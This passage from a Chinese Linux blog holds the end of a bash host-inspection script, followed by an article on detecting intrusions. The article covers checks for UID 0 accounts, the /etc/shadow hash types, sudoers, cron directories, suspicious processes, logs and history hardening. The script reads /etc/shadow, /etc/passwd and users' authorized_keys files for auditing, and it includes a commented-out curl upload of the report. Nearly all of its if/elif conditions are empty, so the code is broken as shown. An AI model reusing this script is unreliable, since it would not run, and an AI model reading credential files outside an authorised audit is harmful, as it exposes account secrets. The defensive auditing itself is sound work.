    <span class="hljs-keyword">while</span>(( <span class="hljs-variable">$thisYear</span> &gt;= <span class="hljs-variable">$oldesYear</span>));<span class="hljs-keyword">do</span>
        loginBeforeToday=$(last <span class="hljs-variable">$username</span> | grep <span class="hljs-variable">$username</span> | wc -l)
        loginBeforeNewYearsDayOfThisYear=$(last <span class="hljs-variable">$username</span> -t <span class="hljs-variable">$thisYear</span><span class="hljs-string">"0101000000"</span> | grep <span class="hljs-variable">$username</span> | wc -l)
        <span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
            <span class="hljs-built_in">echo</span> <span class="hljs-string">"从未登录过"</span>
            <span class="hljs-built_in">break</span>
        <span class="hljs-keyword">elif</span> ;<span class="hljs-keyword">then</span>
            lastDateTime=$(last -i <span class="hljs-variable">$username</span> | head -n1 | awk <span class="hljs-string">'{for(i=4;i&lt;(NF-2);i++)printf"%s ",$i}'</span>)<span class="hljs-string">" <span class="hljs-variable">$thisYear</span>"</span> 
            lastDateTime=$(date <span class="hljs-string">"+%Y-%m-%d %H:%M:%S"</span> -d <span class="hljs-string">"<span class="hljs-variable">$lastDateTime</span>"</span>)
            <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$lastDateTime</span>"</span>
            <span class="hljs-built_in">break</span>
        <span class="hljs-keyword">else</span>
            thisYear=$((thisYear-1))
        <span class="hljs-keyword">fi</span>
    <span class="hljs-keyword">done</span>
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getUserStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m*************************************************用户检查*******************************************************\033[0m"</span>
    <span class="hljs-comment">#/etc/passwd 最后修改时间</span>
    pwdfile=<span class="hljs-string">"<span class="hljs-variable">$(cat /etc/passwd)</span>"</span>
    Modify=$(<span class="hljs-built_in">stat</span> /etc/passwd | grep Modify | tr <span class="hljs-string">'.'</span> <span class="hljs-string">' '</span> | awk <span class="hljs-string">'{print $2,$3}'</span>)
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"/etc/passwd: <span class="hljs-variable">$Modify</span> (<span class="hljs-variable">$(getHowLongAgo $Modify)</span>)"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m******************特权用户******************\033[0m"</span>
    RootUser=<span class="hljs-string">""</span>
    <span class="hljs-keyword">for</span> user <span class="hljs-keyword">in</span> $(<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$pwdfile</span>"</span> | awk -F: <span class="hljs-string">'{print $1}'</span>);<span class="hljs-keyword">do</span>
        <span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
            <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$user</span>"</span>
            RootUser=<span class="hljs-string">"<span class="hljs-variable">$RootUser</span>,<span class="hljs-variable">$user</span>"</span>
        <span class="hljs-keyword">fi</span>
    <span class="hljs-keyword">done</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m******************用户列表******************\033[0m"</span>
    USERs=0
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$(
    echo "用户名 UID GID HOME SHELL 最后一次登录"
    for shell in $(grep -v "/sbin/nologin" /etc/shells)</span>;do
        for username in <span class="hljs-variable">$(grep "$shell" /etc/passwd| awk -F: '{print $1}')</span>;do
            userLastLogin="</span>$(getUserLastLogin <span class="hljs-variable">$username</span>)<span class="hljs-string">"
            echo "</span><span class="hljs-variable">$pwdfile</span><span class="hljs-string">" | grep -w "</span><span class="hljs-variable">$username</span><span class="hljs-string">" |grep -w "</span><span class="hljs-variable">$shell</span><span class="hljs-string">"| awk -F: -v lastlogin="</span>$(<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$userLastLogin</span>"</span> | tr <span class="hljs-string">' '</span> <span class="hljs-string">'_'</span>)<span class="hljs-string">" '{print <span class="hljs-variable">$1</span>,<span class="hljs-variable">$3</span>,<span class="hljs-variable">$4</span>,<span class="hljs-variable">$6</span>,<span class="hljs-variable">$7</span>,lastlogin}'
        done
        let USERs=USERs+<span class="hljs-variable">$(echo "$pwdfile" | grep "$shell"| wc -l)</span>
    done
    )"</span> | column -t
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m******************空密码用户****************\033[0m"</span>
    USEREmptyPassword=<span class="hljs-string">""</span>
    <span class="hljs-keyword">for</span> shell <span class="hljs-keyword">in</span> $(grep -v <span class="hljs-string">"/sbin/nologin"</span> /etc/shells);<span class="hljs-keyword">do</span>
            <span class="hljs-keyword">for</span> user <span class="hljs-keyword">in</span> $(<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$pwdfile</span>"</span> | grep <span class="hljs-string">"<span class="hljs-variable">$shell</span>"</span> | cut -d: -f1);<span class="hljs-keyword">do</span>
            r=$(awk -F: <span class="hljs-string">'$2=="!!"{print $1}'</span> /etc/shadow | grep -w <span class="hljs-variable">$user</span>)
            <span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
                <span class="hljs-built_in">echo</span> <span class="hljs-variable">$r</span>
                USEREmptyPassword=<span class="hljs-string">"<span class="hljs-variable">$USEREmptyPassword</span>,"</span><span class="hljs-variable">$r</span>
            <span class="hljs-keyword">fi</span>
        <span class="hljs-keyword">done</span>    
    <span class="hljs-keyword">done</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m*****************相同ID用户*****************\033[0m"</span>
    USERTheSameUID=<span class="hljs-string">""</span>
    UIDs=$(cut -d: -f3 /etc/passwd | sort | uniq -c | awk <span class="hljs-string">'$1&gt;1{print $2}'</span>)
    <span class="hljs-keyword">for</span> uid <span class="hljs-keyword">in</span> <span class="hljs-variable">$UIDs</span>;<span class="hljs-keyword">do</span>
        <span class="hljs-built_in">echo</span> -n <span class="hljs-string">"<span class="hljs-variable">$uid</span>"</span>;
        USERTheSameUID=<span class="hljs-string">"<span class="hljs-variable">$uid</span>"</span>
        r=$(awk -F: <span class="hljs-string">'ORS="";$3=='</span><span class="hljs-string">"<span class="hljs-variable">$uid</span>"</span><span class="hljs-string">'{print ":",$1}'</span> /etc/passwd)
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$r</span>"</span>
        <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
        USERTheSameUID=<span class="hljs-string">"<span class="hljs-variable">$USERTheSameUID</span> <span class="hljs-variable">$r</span>,"</span>
    <span class="hljs-keyword">done</span> 
}


<span class="hljs-keyword">function</span> getPasswordStatus {
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m*************************************************密码检查*******************************************************\033[0m"</span>
    pwdfile=<span class="hljs-string">"<span class="hljs-variable">$(cat /etc/passwd)</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m****************密码过期检查****************\033[0m"</span>
    result=<span class="hljs-string">""</span>
    <span class="hljs-keyword">for</span> shell <span class="hljs-keyword">in</span> $(grep -v <span class="hljs-string">"/sbin/nologin"</span> /etc/shells);<span class="hljs-keyword">do</span>
        <span class="hljs-keyword">for</span> user <span class="hljs-keyword">in</span> $(<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$pwdfile</span>"</span> | grep <span class="hljs-string">"<span class="hljs-variable">$shell</span>"</span> | cut -d: -f1);<span class="hljs-keyword">do</span>
            get_expiry_date=$(/usr/bin/chage -l <span class="hljs-variable">$user</span> | grep <span class="hljs-string">'Password expires'</span> | cut -d: -f2)
            <span class="hljs-keyword">if</span> [];<span class="hljs-keyword">then</span>
                <span class="hljs-built_in">printf</span> <span class="hljs-string">"%-15s 永不过期\n"</span> <span class="hljs-variable">$user</span>
                result=<span class="hljs-string">"<span class="hljs-variable">$result</span>,<span class="hljs-variable">$user</span>:never"</span>
            <span class="hljs-keyword">else</span>
                password_expiry_date=$(date -d <span class="hljs-string">"<span class="hljs-variable">$get_expiry_date</span>"</span> <span class="hljs-string">"+%s"</span>)
                current_date=$(date <span class="hljs-string">"+%s"</span>)
                diff=$((<span class="hljs-variable">$password_expiry_date</span>-<span class="hljs-variable">$current_date</span>))
                <span class="hljs-built_in">let</span> DAYS=$((<span class="hljs-variable">$diff</span>/(60*60*24)))
                <span class="hljs-built_in">printf</span> <span class="hljs-string">"%-15s %s天后过期\n"</span> <span class="hljs-variable">$user</span> <span class="hljs-variable">$DAYS</span>
                result=<span class="hljs-string">"<span class="hljs-variable">$result</span>,<span class="hljs-variable">$user</span>:<span class="hljs-variable">$DAYS</span> days"</span>
            <span class="hljs-keyword">fi</span>
        <span class="hljs-keyword">done</span>
    <span class="hljs-keyword">done</span>
    report_PasswordExpiry=$(<span class="hljs-built_in">echo</span> <span class="hljs-variable">$result</span> | sed <span class="hljs-string">'s/^,//'</span>)
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m****************密码策略检查****************\033[0m"</span>
    grep -v <span class="hljs-string">"#"</span> /etc/login.defs | grep -E <span class="hljs-string">"PASS_MAX_DAYS|PASS_MIN_DAYS|PASS_MIN_LEN|PASS_WARN_AGE"</span>
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getSudoersStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m**********************************************Sudoers检查*******************************************************\033[0m"</span>
    conf=$(grep -v <span class="hljs-string">"^#"</span> /etc/sudoers| grep -v <span class="hljs-string">"^Defaults"</span> | sed <span class="hljs-string">'/^$/d'</span>)
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$conf</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getInstalledStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m*************************************************软件检查*******************************************************\033[0m"</span>
    rpm -qa --last | head | column -t 
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getProcessStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m*************************************************进程检查*******************************************************\033[0m"</span>
    <span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
        <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
        <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m***************僵尸进程***************\033[0m"</span>
        ps -ef | head -n1
        ps -ef | grep defunct | grep -v grep
    <span class="hljs-keyword">fi</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m************CPU占用TOP 10进程*************\033[0m"</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"用户 进程ID %CPU 命令 
    <span class="hljs-variable">$(ps aux | awk '{print $1, $2, $3, $11}' | sort -k3rn | head -n 10 )</span>"</span>| column -t 
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m************内存占用TOP 10进程*************\033[0m"</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"用户 进程ID %MEM 虚拟内存  常驻内存 命令 
    <span class="hljs-variable">$(ps aux | awk '{print $1, $2, $4, $5, $6, $11}' | sort -k3rn | head -n 10 )</span>"</span>| column -t 
    <span class="hljs-comment">#echo ""</span>
    <span class="hljs-comment">#echo -e "\033[36m************SWAP占用TOP 10进程*************\033[0m"</span>
    <span class="hljs-comment">#awk: fatal: cannot open file `/proc/18713/smaps' for reading (No such file or directory)</span>
    <span class="hljs-comment">#for i in `cd /proc;ls |grep "^"|awk ' $0 &gt;100'`;do awk '{if (-f /proc/$i/smaps) print "$i file is not exist"; else print "$i"}';done</span>
    <span class="hljs-comment">#    for i in `cd /proc;ls |grep "^"|awk ' $0 &gt;100'` ;do awk '/Swap:/{a=a+$2}END{print '"$i"',a/1024"M"}' /proc/$i/smaps ;done |sort -k2nr &gt; /tmp/swap.txt</span>
    <span class="hljs-comment">#echo -e "进程ID SWAP使用 $(cat /tmp/swap.txt|grep -v awk | head -n 10)"| column -t</span>
}



<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getSyslogStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m***********************************************syslog检查*******************************************************\033[0m"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"SYSLOG服务状态：<span class="hljs-variable">$(getState rsyslog)</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m***************rsyslog配置******************\033[0m"</span>
    cat /etc/rsyslog.conf 2&gt;/dev/null | grep -v <span class="hljs-string">"^#"</span> | grep -v <span class="hljs-string">"^\\$"</span> | sed <span class="hljs-string">'/^$/d'</span>  | column -t
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getFirewallStatus</span></span>(){
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m***********************************************防火墙检查*******************************************************\033[0m"</span>

    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m****************防火墙状态******************\033[0m"</span>
    <span class="hljs-keyword">if</span> [];<span class="hljs-keyword">then</span>
        systemctl status firewalld &gt;/dev/null  2&gt;&amp;1
        status=$?
        <span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
                s=<span class="hljs-string">"active"</span>
        <span class="hljs-keyword">elif</span> ;<span class="hljs-keyword">then</span>
                s=<span class="hljs-string">"inactive"</span>
        <span class="hljs-keyword">elif</span> ;<span class="hljs-keyword">then</span>
                s=<span class="hljs-string">"permission denied"</span>
        <span class="hljs-keyword">else</span>
                s=<span class="hljs-string">"unknown"</span>
        <span class="hljs-keyword">fi</span>
    <span class="hljs-keyword">else</span>
        s=<span class="hljs-string">"<span class="hljs-variable">$(getState iptables)</span>"</span>
    <span class="hljs-keyword">fi</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"firewalld: <span class="hljs-variable">$s</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m****************防火墙配置******************\033[0m"</span>
    cat /etc/sysconfig/firewalld 2&gt;/dev/null
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getSNMPStatus</span></span>(){
    <span class="hljs-comment">#SNMP服务状态，配置等</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m***********************************************SNMP检查*********************************************************\033[0m"</span>
    status=<span class="hljs-string">"<span class="hljs-variable">$(getState snmpd)</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"SNMP服务状态：<span class="hljs-variable">$status</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"/etc/snmp/snmpd.conf"</span>
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"--------------------"</span>
        cat /etc/snmp/snmpd.conf 2&gt;/dev/null | grep -v <span class="hljs-string">"^#"</span> | sed <span class="hljs-string">'/^$/d'</span>
    <span class="hljs-keyword">fi</span>
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getState</span></span>(){
    <span class="hljs-keyword">if</span> [];<span class="hljs-keyword">then</span>
        <span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
            <span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
                r=<span class="hljs-string">"active"</span>
            <span class="hljs-keyword">else</span>
                r=<span class="hljs-string">"inactive"</span>
            <span class="hljs-keyword">fi</span>
        <span class="hljs-keyword">else</span>
            r=<span class="hljs-string">"unknown"</span>
        <span class="hljs-keyword">fi</span>
    <span class="hljs-keyword">else</span>
        <span class="hljs-comment">#CentOS 7+</span>
        r=<span class="hljs-string">"<span class="hljs-variable">$(systemctl is-active $1 2&gt;&amp;1)</span>"</span>
    <span class="hljs-keyword">fi</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$r</span>"</span>
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getSSHStatus</span></span>(){
    <span class="hljs-comment">#SSHD服务状态，配置,受信任主机等</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m************************************************SSH检查*********************************************************\033[0m"</span>
    <span class="hljs-comment">#检查受信任主机</span>
    pwdfile=<span class="hljs-string">"<span class="hljs-variable">$(cat /etc/passwd)</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"SSH服务状态：<span class="hljs-variable">$(getState sshd)</span>"</span>
    Protocol_Version=$(cat /etc/ssh/sshd_config | grep Protocol | awk <span class="hljs-string">'{print $2}'</span>)
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"SSH协议版本：<span class="hljs-variable">$Protocol_Version</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m****************信任主机******************\033[0m"</span>
    authorized=0
    <span class="hljs-keyword">for</span> user <span class="hljs-keyword">in</span> $(<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$pwdfile</span>"</span> | grep /bin/bash | awk -F: <span class="hljs-string">'{print $1}'</span>);<span class="hljs-keyword">do</span>
        authorize_file=$(<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$pwdfile</span>"</span> | grep -w <span class="hljs-variable">$user</span> | awk -F: <span class="hljs-string">'{printf $6"/.ssh/authorized_keys"}'</span>)
        authorized_host=$(cat <span class="hljs-variable">$authorize_file</span> 2&gt;/dev/null | awk <span class="hljs-string">'{print $3}'</span> | tr <span class="hljs-string">'\n'</span> <span class="hljs-string">','</span> | sed <span class="hljs-string">'s/,$//'</span>)
        <span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
            <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$user</span> 授权 \"<span class="hljs-variable">$authorized_host</span>\" 无密码访问"</span>
        <span class="hljs-keyword">fi</span>
        <span class="hljs-built_in">let</span> authorized=authorized+$(cat <span class="hljs-variable">$authorize_file</span> 2&gt;/dev/null | awk <span class="hljs-string">'{print $3}'</span>|wc -l)
    <span class="hljs-keyword">done</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m*******是否允许ROOT远程登录***************\033[0m"</span>
    config=$(cat /etc/ssh/sshd_config | grep PermitRootLogin)
    firstChar=<span class="hljs-variable">${config:0:1}</span>
    <span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
        PermitRootLogin=<span class="hljs-string">"yes"</span> 
    <span class="hljs-keyword">else</span>
        PermitRootLogin=$(<span class="hljs-built_in">echo</span> <span class="hljs-variable">$config</span> | awk <span class="hljs-string">'{print $2}'</span>)
    <span class="hljs-keyword">fi</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"PermitRootLogin <span class="hljs-variable">$PermitRootLogin</span>"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m*************ssh服务配置******************\033[0m"</span>
    cat /etc/ssh/sshd_config | grep -v <span class="hljs-string">"^#"</span> | sed <span class="hljs-string">'/^$/d'</span>
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">getNTPStatus</span></span>(){
    <span class="hljs-comment">#NTP服务状态，当前时间，配置等</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[33m***********************************************NTP检查**********************************************************\033[0m"</span>
    <span class="hljs-keyword">if</span> ;<span class="hljs-keyword">then</span>
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"NTP服务状态：<span class="hljs-variable">$(getState ntpd)</span>"</span>
        <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
        <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[36m*************NTP服务配置******************\033[0m"</span>
        cat /etc/ntp.conf 2&gt;/dev/null | grep -v <span class="hljs-string">"^#"</span> | sed <span class="hljs-string">'/^$/d'</span>
    <span class="hljs-keyword">fi</span>
}


<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">check</span></span>(){
    version
    getSystemStatus
    get_resource
    getCpuStatus
    getMemStatus
    getDiskStatus
    getNetworkStatus
    getListenStatus
    getProcessStatus
    getServiceStatus
    getAutoStartStatus
    getLoginStatus
    getCronStatus
    getUserStatus
    getPasswordStatus
    getSudoersStatus
    getFirewallStatus
    getSSHStatus
    getSyslogStatus
    getSNMPStatus
    getNTPStatus
    getInstalledStatus
}
<span class="hljs-comment">#执行检查并保存检查结果</span>
check &gt; <span class="hljs-variable">$RESULTFILE</span>
<span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\033[44;37m 主机巡检结果存放在：<span class="hljs-variable">$RESULTFILE</span>   \033[0m"</span>

<span class="hljs-comment">#上传检查结果的文件</span>
<span class="hljs-comment">#curl -F "filename=@$RESULTFILE" "$uploadHostDailyCheckApi" 2&gt;/dev/null</span>
cat <span class="hljs-variable">$RESULTFILE</span></code></pre>
<div class="qzhai_highlight_heade"><span></span>
<div> </div>
</div>
</div>
</article>
<div class="uk-flex uk-flex-center uk-margin-large-top uk-margin-bottom">https://blog.ossq.cn/2085.html</div>
<div> </div>
<div> </div>
<div>
<h1 class="uk-article-title">Linux检测系统是否被入侵</h1>
</div>
<div>
<article class="qzhai-article uk-article">
<div class="qzhai-the-content">
<p>入侵者在入侵成功后，往往会留下后门以便再次访问被入侵的系统，而创建系统账号是一种比较常见的后门方式。在做入侵排查的时候，用户配置文件<code>/etc/passwd</code>和密码配置文件<code>/etc/shadow</code>是需要去重点关注的地方。</p>
<p>检测系统是否被入侵</p>
<h3 class="wp-block-heading">查询特权用户特权用户(uid 为0)</h3>
<p><code>awk -F: '$3==0{print $1}' /etc/passwd</code></p>
<h3 class="wp-block-heading">查找远程可以登录的账户</h3>
<p><code>awk '/\$1|\$5|\$6/{print $1}' /etc/shadow</code></p>
<ul>
<li>$1：MD5（长度 22个字符）</li>
<li>$5：SHA-256（长度 43 个字符）</li>
<li>$6：SHA-512（长度86 个字符）</li>
</ul>
<h3 class="wp-block-heading">检查sudo权限</h3>
<p><code>cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL"</code><br />删除或锁定账号<br />通过上面的步骤可以找到可疑的账号</p>
<p><code>usermod -L rooot</code> #禁用帐号，帐号无法登录，/etc/shadow第二栏为!开头<br /><code>userdel rooot </code>#删除user用户<br /><code>userdel -r rooot</code> #将删除root用户，并且将/home目录下的root目录一并删除</p>
<h3 class="wp-block-heading">查看当前登录系统的信息</h3>
<p><code>who </code>#查看当前登录用户（tty本地登陆 pts远程登录）<br /><code>w</code> #查看系统信息，想知道某一时刻用户的行为<br /><code>uptime</code> #查看登陆多久、多少用户，负载</p>
<h3 class="wp-block-heading">检查异常端口</h3>
<p>使用<code>netstat</code> 网络连接命令，分析可疑端口、IP、PID等信息。</p>
<p><code>netstat -tunlp | less</code></p>
<h3 class="wp-block-heading">抓包分析</h3>
<p><code>tcpdump -c 10 -q</code> //精简模式显示 10个包</p>
<h3 class="wp-block-heading">使用ps命令检查可疑的进程</h3>
<p><code>ps -ef</code></p>
<h3 class="wp-block-heading">查超系统中占用资源最高的资源</h3>
<p><code>top</code></p>
<h3 class="wp-block-heading">发现异常进一步检查</h3>
<p><code>ps eho command -p</code> $PID #查看该进程启动的完整命令行<br /><code>readlink /proc/$PID/cwd</code> #查看该进程启动时候所在的目录<br /><code>ls -l /proc/$PID/exe</code> #查看下pid所对应的进程文件路径<br /><code>strings -f /proc/$PID/environ | cut -f2 -d</code> #查看该进程启动时的完整环境变量:<br /><code>lsof -p $PID</code> #列出该进程所打开的所有文件</p>
<h3 class="wp-block-heading">检查系统服务</h3>
<p>Linux系统服务管理，CentOS7使用systemd控制 CentOS6之前使用chkconfig控制。</p>
<h3 class="wp-block-heading">检查开机自启的服务</h3>
<p>//对于systemd服务管理器来说，可以通过下述方式查看开机自启的服务<br /><code>systemctl list-unit-files --type=service | grep "enabled"</code><br />//chkconfig就是CentOS6以前用来控制系统服务的工具，查看服务自启动状态<br /><code>chkconfig --list | grep "3:on\|5:on"</code></p>
<h3 class="wp-block-heading">检查启动项脚本</h3>
<p>命令查看下开机启动项中是否有异常的启动服务。</p>
<p><code>cat /etc/rc.local</code></p>
<h3 class="wp-block-heading">检查计划任务</h3>
<p>利用计划任务进行权限维持，可作为一种持久性机制被入侵者利用。检查异常的计划任务，需要重点关注以下目录中是否存在恶意脚本。</p>
<pre class="wp-block-code qzhai_highlight hljs coffeescript" contenteditable="false"><code><span class="hljs-regexp">/var/spool/cron/</span>* 
/etc/crontab
<span class="hljs-regexp">/etc/cron.d/</span>*
<span class="hljs-regexp">/etc/cron.daily/</span>* 
<span class="hljs-regexp">/etc/cron.hourly/</span>* 
<span class="hljs-regexp">/etc/cron.monthly/</span>*
<span class="hljs-regexp">/etc/cron.weekly/</span>
/etc/anacrontab
<span class="hljs-regexp">/var/spool/anacron/</span>*</code></pre>
<div class="qzhai_highlight_heade"><span></span>
<div> </div>
</div>
<h3 class="wp-block-heading">检查系统的异常文件</h3>
<p>查看敏感目录，如/tmp目录下的文件，同时注意隐藏文件夹，以.为名的文件夹具有隐藏属性</p>
<p><code>ls -al</code><br />查找1天以内被访问过的文件</p>
<p><code>find /opt -iname "*" -atime 1 -type f</code><br /><code>-iname</code>不区分大小写,<code>-atime</code>最近一次被访问的时间,<code>-type</code>文件类型</p>
<h3 class="wp-block-heading">检查历史命令</h3>
<p>查看被入侵后,在系统上执行过哪些命令,使用root用户登录系统，检查/home目录下的用户主目录的.bash_history文件</p>
<p>默认情况下，系统可以保存1000条的历史命令，并不记录命令执行的时间，根据需要进行安全加固。</p>
<p>设置保存1万条命令<br /><code>sed -i 's/HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile</code><br />history加固<br /><code>vim /etc/profile</code></p>
<pre class="wp-block-code qzhai_highlight hljs perl" contenteditable="false"><code>USER_IP=<span class="hljs-string">`who -u am i 2&gt;/dev/null | awk '{print $NF}' | sed -e 's///g'`</span>
<span class="hljs-keyword">if</span> 
then
   USER_IP=<span class="hljs-string">`hostname`</span>
fi

export HISTTIMEFORMAT=<span class="hljs-string">"%F %T $USER_IP `whoami`"</span></code></pre>
<div class="qzhai_highlight_heade"><span></span>
<div> </div>
</div>
<h1 class="wp-block-heading">为防止会话退出时覆盖其他会话写到HISTFILE的内容</h1>
<p><code>shopt -s histappend</code><br /><code>export PROMPT_COMMAND="history -a"</code><br />//配置生效<br /><code>source /etc/profile</code></p>
<p>PROMPT_COMMAND是什么<br />PS1-PS4介绍了一些用于提示信息控制的环境变量，而在此之前可以进行回调的一个环境变量就是PROMPT_COMMAND，这个环境变量中设定的内容将在交互式脚本的提示(PS1)出现之前被执行。</p>
<h3 class="wp-block-heading">检查系统日志</h3>
<p>在Linux上一般跟系统相关的日志默认都会放到/var/log下面，若是一旦出现问题，用户就可以通过查看日志来迅速定位，及时解决问题。常用日志文件如下：</p>
<p><code>/var/log/btmp</code><br />记录错误登录日志,这个文件是二进制文件,不能用vi直接查看,可以用lastb看</p>
<p><code>/var/log/lastlog</code><br />记录系统中所有用户最后一次成功登录系统的时间,这是一个二进制文件,不能用vi查看,可以用lastlog查看</p>
<p><code>/var/log/wtmp</code><br />永久记录所有用户的登录、注销信息，同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件，不能直接vi，而需要使用last命令来查看。</p>
<p><code>/var/log/utmp</code><br />记录当前已经登录的用户信息，这个文件会随着用户的登录和注销不断变化，只记录当前登录用户的信息。同样这个文件不能直接vi，而要使用w,who,users等命令来查询。</p>
<p><code>/var/log/secure</code><br />记录验证和授权方面的信息，只要涉及账号和密码的程序都会记录，比如SSH登录，su切换用户，sudo授权，甚至添加用户和修改用户密码都会记录在这个日志文件中</p>
